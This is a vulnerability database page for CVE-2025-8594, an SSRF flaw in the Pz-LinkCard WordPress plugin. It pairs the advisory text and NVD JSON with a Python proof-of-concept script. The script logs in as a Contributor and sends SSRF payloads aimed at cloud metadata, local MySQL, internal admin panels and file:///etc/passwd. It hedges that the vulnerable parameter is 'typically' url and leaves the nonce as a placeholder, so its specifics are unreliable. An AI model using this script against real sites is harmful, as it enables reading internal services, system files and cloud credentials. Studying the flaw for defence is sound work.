Security Vulnerability Report
中文
CVE-2025-8594 CVSS 3.8 LOW

CVE-2025-8594

Published: 2025-10-14 06:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Pz-LinkCard WordPress plugin before 2.5.7 does not validate a parameter before making a request to it, which could allow users with a role as low as Contributor to perform SSRF attack.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Pz-LinkCard WordPress Plugin < 2.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-8594 - Pz-LinkCard WordPress Plugin SSRF PoC # Exploit requires Contributor-level WordPress account import requests from bs4 import BeautifulSoup # WordPress site configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" # Step 1: Login as Contributor session = requests.Session() login_page = session.get(f"{TARGET_URL}/wp-login.php") soup = BeautifulSoup(login_page.text, 'html.parser') # Extract login form fields form_fields = {} for input_tag in soup.find_all('input', type='hidden'): form_fields[input_tag.get('name')] = input_tag.get('value') # Submit login credentials login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1', **form_fields } response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit SSRF via Pz-LinkCard parameter # The vulnerable parameter is typically 'url' used in link card creation ssrf_payloads = [ "http://127.0.0.1:3306", # Internal MySQL port scan "http://169.254.169.254/latest/meta-data/", # AWS metadata service "http://192.168.1.1/admin", # Internal router/admin panel "file:///etc/passwd", # Local file read "http://internal-service.local/api" # Internal service access ] for payload in ssrf_payloads: # Submit the malicious URL through Pz-LinkCard endpoint exploit_data = { 'action': 'pz_linkcard_preview', 'url': payload, 'title': 'Test Card', '_wpnonce': '<valid_nonce_here>' } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) print(f"[*] Payload: {payload}") print(f"[*] Response: {response.text[:500]}\n")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8594", "sourceIdentifier": "[email protected]", "published": "2025-10-14T06:15:35.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pz-LinkCard WordPress plugin before 2.5.7 does not validate a parameter before making a request to it, which could allow users with a role as low as Contributor to perform SSRF attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "references": [{"url": "https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/17104590-d84e-41b7-83ac-9b15fcfb537a/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}